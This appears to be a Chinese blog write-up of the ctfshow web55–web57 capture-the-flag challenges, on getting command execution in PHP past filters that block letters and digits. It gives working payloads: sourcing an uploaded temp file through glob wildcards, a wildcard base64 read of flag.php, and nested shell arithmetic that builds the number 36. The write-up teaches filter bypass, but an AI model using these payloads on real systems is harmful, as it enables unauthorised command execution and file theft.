ctfshow之web55~web57(无字母的rce)

目录

web55

思路一:

思路二: 

web56

web57


本系列主要针对无字母rce或无字母无数字rce

声明:本章内容是引荐几位师傅的博客,然后根据自己的理解编写而成。

web55

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__); 
}

这里将a-z的字符都过滤掉了,这里考察的就是无字母的rce

但啥是无字母的rce呢?

php的代码执行简称RCE

RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码

那么无字母想必不用过多解释了

首先这里引荐p神的blog:无字母数字webshell之提高篇 | 离别歌

构造无字母数字的rce。其中有两个主要的思路:

  1. 利用位运算
  2. 利用自增运算符

第一种方法和web41类似,但web41是eval()函数输出,而这里是执行system()命令所以第一种方法用不了

 第二种方法是自增运算,这种方法要用到$构造数字,但这里我们知道flag藏在文件flag.php里面,也用不了

操作系统里包含的最重要的两个功能就是“shell”和“文件系统”,很多木马与远控其实也只实现了这两个功能。

思路一:

在linux shell知识里面,可以用.来执行任意脚本,.或者叫period,作用和source一样,用来执行一个文件中的命令,比如,当前的shell是bash,那么.file就是用bash执行file文件中的命令

那执行的文件从哪里来呢?因此我们可以上传文件的POST包(一般php的题目都可以上传这种文件),该文件会保存在临时文件夹下,默认的目录结构是/tmp/phpXXXXXX,最后的六个字符是随机的。

但是该目录也包含字符,于是我们想到linux下的glob通配符:*/?

于是/tmp/phpXXXXXX可以写成/???/?????????

但是在Linux中这样的文件目录有很多,但都有一个共同点,都是小写字符,而只有php生成的临时文件包含大写字母,于是只要找到一个可以包含大写字母的glob通配符即可

发现所有大写字母都在@-[之间,执行ls /???/??????[@-[],这种尝试最后一个字符是大写的,如果错误,还可以尝试其他字符是大写,多尝试几次即可

POST上传包

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

我们上传的时候可以随便上传一个文件就行

抓包得到的上传结果

用.执行shell命令:?c=.%20/???/????????[@-[]

直接假设最后一个字符是大写的 

正常是用source [filename]或者. [filename]

%20表示空格,一般空格在urlencode中被写成%20或者+

补充:假设我这里直接写空格,而不是进行url编码(写成%20),就不会出来flag,因为在urldecode过程中,遇到空格,空格后面的内容就不再执行了,因为他会默认空格就是结束的标识,就像你写url内容的时候,它在urldecode过程中,如何判断结束呢,就是根据是否遇到空格,但遇到%20,它知道后面还有url的部分,就会先解码成空格,然后再解码后面的部分

 这里解释下shell(sh)和/bin/sh的关系,因为自己也是初学者(小趴菜)

Shell(简称sh)是一种命令行解释器(类似windows下的命令行),是用户与操作系统之间的接口,它接收用户输入的命令并调用相应的程序来执行。在Linux系统中,Shell是非常重要的,因为几乎所有的系统管理任务都可以通过Shell来完成。

/bin/sh这个路径中的sh文件可以理解为一个小型程序,它可以解释用户输入的命令并执行相应的操作。在Linux系统中,使用bin sh命令可以启动Shell解释器,让用户可以通过命令行来与系统进行交互。

#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径。如果脚本中没有声明,则脚本将在用户默认的shell中执行。用户默认的shell环境是在/etc/passwd中定义:比如passwd文件第一行中 root:x:0:0:root:/root:/bin/bash,最后的/bin/bash说明root用户的默认shell是/bin/bash。虽然#! /bin/sh 可有可无,所以建议就把"#!/bin/sh"当成C 语言的main函数一样,写shell必须有,以使shell程序更严密。 

找到了文件flag.php

执行cat命令

思路二: 

 除了通过POST上传文件,执行文件里面的命令外,那linux中那么多sh命令,还有没有我们可以使用的呢?答案是肯定的

/bin/base64命令

/bin/base64的主要作用是对数据进行Base64编码或解码

使用方法:/bin/base64 filename

这个命令会将filename文件的内容进行Base64编码,并将结果输出 

 因为不能出现字母,所以

payload:?c=/???/????64 ????.???

 因为这里有64,所以不会匹配到其他命令

 就将flag.php里的内容进行base64编码后输出

web56

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

比上一个题多过滤了数字,所以第二种思路pass,但第一种思路还是可以用的,这里不做过多赘述了;

web57

// 还能炫的动吗?
//flag in 36.php 
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
} 

 这里已经给出了提示:flag in 36.php

system()函数内还给出了cat和.php后缀,其实我们只需要构造出来36就可以

 在上面的web55中,我们给出主要解决无字母rce的一种方法就是利用自增运算符

而这里恰好没有把$给过滤掉,其目的也显而易见

 在linux中

$(())=0
$((~ $(()) ))=-1

 

这里演示下如何生成1

$(())  
//0$((~$(()) 
//-1$((~$(())))$((~$(())))
//-1-1$(($((~$(())))$((~$(())))))
//-2$((~$(($((~$(())))$((~$(())))))))
//1

这样一直重复嵌套就可以先得到-37,-37就是用37个$((~$(())))串在一起,然后在外面加一层$(())就可以得到

在对其取反,加一层$(())就可以得到36

 生成的payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

注意:这里cat得到的flag藏在源码中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/413091.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模糊视频一键变清晰,从此告别模糊不清的画质

话不多说&#xff0c;咱们直入主题。你是不是有比较模糊的视频&#xff0c;比如老视频&#xff0c;老电影和监控视频&#xff0c;对了&#xff0c;还有日本土特产&#xff08;懂的都懂&#xff09;&#xff0c;模糊的视频看起是不是很不舒服&#xff0c;长期久了还会影响视力影…

弹窗相关操作

弹窗使用 文章目录 弹窗使用弹窗-新增表单修改弹窗 弹窗-新增表单 拖拽弹出层组件&#xff0c;补充表单信息 2.点击表单&#xff0c;绑定数据库模型&#xff0c;绑定字段 3.新增弹窗按钮绑定打开或关闭弹出层事件 4.弹窗保存按钮依次绑定 保存表单&#xff0c;打开或关闭弹…

Docker笔记-Docker Hello World

Docker笔记-Docker Hello World 1、输出Hello World Docker 允许你在容器内运行应用程序&#xff0c;使用 docker run 命令来在容器内运行一个应用程序&#xff1a; $ docker run ubuntu:15.10 /bin/echo "Hello world"各个参数解析&#xff1a; docker&#xff1…

使用极狐GitLab进行K3S集群的维护与控制

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门面向中国程序员和企业提供企业级一体化 DevOps 平台&#xff0c;用来帮助用户实现需求管理、源代码托管、CI/CD、安全合规&#xff0c;而且所有的操作都是在一个平台上进行&#xff0c;省事省心省钱。可以一键安装极狐GitL…

查看网址是否失效

检查指令 可能是IPve6无法使用问题 检查网址 Is it down? Check at Down for Everyone or Just Me 欧克挂掉了 补充&#xff1a; Downdetector &#xff08;下检测器&#xff09; 网站监控服务 — 可用性和性能 |平度 (pingdom.com)

[Algorithm][综合训练][合并k个已排序的链表][dd爱旋转][小红取数]详细讲解

目录 1.合并k个已排序的链表1.题目链接2.算法原理讲解 && 代码实现 2.dd爱旋转1.题目链接2.算法原理详解 && 代码详解 3.小红取数1.题目链接2.算法原理详解 && 代码实现 1.合并k个已排序的链表 1.题目链接 合并k个已排序的链表 2.算法原理讲解 &…

centos换源安装升级gcc

使用devtools升级安装的时候&#xff0c;由于此库已经停止更新 了&#xff0c;因此需要切换阿里源 SCLDevtoolset 安装与使用笔记-腾讯云开发者社区-腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/1889181 1 yum 安装 yum install centos-release-scl c…

前后端交互的路径怎么来的?后端解决cors问题的一种方法

背景&#xff1a;后端使用node.js搭建&#xff0c;用的是express 前端请求的路径baseURL怎么来的 &#xff1f; 前后端都在同一台电脑上运行&#xff0c;后端的域名就是localhost&#xff0c;如果使用的是http协议&#xff0c;后端监听的端口号为3000&#xff0c;那么前端请求…

Qt 调用MFC dll,动态库中有界面

一、创建MFC 动态库工程 下一步 创建 点击确定 二、创建接口 这个是系统创建的&#xff0c;改成自己的接口。 头文件&#xff1a; #ifndef __WEB_ENGINE__ #define __WEB_ENGINE__#ifdef __cplusplus extern "C" { #endif__declspec(dllexport) bool __stdcall Loa…

10款必备的电脑监控软件推荐,实用又方便!顶尖产品一网打尽!2024纯干货

电脑监控软件目前是企业管理不可或缺的一部分&#xff0c;它们不仅能够帮助企业提升工作效率&#xff0c;还能有效保障信息安全。本文将为您推荐10款2024年必备的电脑监控软件&#xff0c;这些顶尖产品以其强大的功能和便捷的操作&#xff0c;赢得了市场的广泛认可。 接下来&am…

【Python实战因果推断】73_图因果模型8

目录 Adjusting for Selection Bias Conditioning on a Mediator Adjusting for Selection Bias 不幸的是&#xff0c;纠正选择偏倚绝非易事。在我们一直在讨论的例子中&#xff0c;即使有随机对照试验&#xff0c;ATE也无法识别&#xff0c;仅仅是因为你无法在对那些回应了…

前端性能优化--元素类型和dom层级

展示相同布局&#xff0c;使用控制变量法&#xff0c;对比性能差距 1. 结论&#xff1a;用块级元素模拟行内元素时&#xff0c;会有性能浪费&#xff0c;所以能用行内元素的&#xff0c;就不要使用块元素(能用span就不用div) 2. 结论&#xff1a;行内元素模拟块级元素时&…

Feign的原理及概念

1.什么是Feign Feign是Netflix开发的声明式、模板化的HTTP客户端&#xff0c;Feign可帮助我们更加便捷、优雅地调用HTTP API。Feign可以做到使用HTTP请求远程服务时就像调用本地方法一样的体验&#xff0c;开发者完全感知不到这是远程方法&#xff0c;更感知不到这是个HTTP请求…

3.美食推荐系统(Java项目springboot和vue)

目录 0.系统的受众说明 1 绪论 1.1研究背景 1.2研究现状 1.3研究内容 2 系统关键技术 2.1 Springboot框架 2.2 JAVA技术 2.3 MYSQL数据库 2.4 B/S结构 3 系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2经济可行性 3.1.3操作可行性 3.2 系统性能分析 3.3 系统功能分析 3.4系统…

c#笔记5 详解事件的内置类型EventHandler、windows事件在winform中的运用

为什么要研究这一问题&#xff1f; 事件和委托可以说是息息相关。 前面先解释了什么是委托&#xff0c;怎么定义一个委托以及怎么使用匿名方法来内联地新建委托。 事实上事件这一机制在c#的程序开发中展很重要的地位&#xff0c;尤其是接触了winform软件开发的同学们应该都知…

基于django的在线音乐网站设计/基于python的音乐播放系统

Django在线音乐网站设计 摘要&#xff1a;计算机网络如果结合使用信息管理系统&#xff0c;能够提高管理员管理的效率&#xff0c;改善服务质量。优秀的在线音乐网站设计能够更有效管理音乐资讯规范&#xff0c;帮助管理者更加有效管理音乐网站&#xff0c;可以帮助提高克服人工…

Linux驱动(一):环境搭建及介绍

目录 前言一、硬件配置及SDK包1.硬件核心芯片2.瑞芯微原厂SDK包 二、环境镜像文件的获取1.镜像文件的组成及启动流程2.获取环境所需的镜像文件2.1 uboot.img2.2 boot.img2.3 rootfs.img2.4 整体编译 三、镜像文件烧录 前言 自用自用自用&#xff0c;晚上睡觉前复盘用。当然&…

8个平面设计必备素材网站,免费下载。

平面设计师应该去哪里找免费可商用素材网站&#xff1f;我推荐这8个&#xff0c;赶紧收藏好。 1、菜鸟图库 菜鸟图库-免费设计素材下载 菜鸟图库是一个非常大的素材库&#xff0c;站内包含设计、办公、自媒体、图片、电商等各行业素材。网站还为新手设计师提供免费的素材&…

查看显卡cuda版本

1.命令行窗口 打开cmd&#xff0c;输入下列语句 nvidia-smi 如下图红框所示&#xff1a; 2.查看cuda版本&#xff0c;打开英伟达控制面板&#xff0c;桌面右键或者系统右下角&#xff0c;然后点击系统信息&#xff0c;之后点击组件

获取当前计算机的处理器架构platform.machine()

【小白从小学Python、C、Java】 【考研初试复试毕业设计】 【Python基础AI数据分析】 获取当前计算机的处理器架构 platform.machine() 选择题 关于以下代码的输出结果说法正确的是&#xff1f; import platform print("【执行】print(platform.machine())") prin…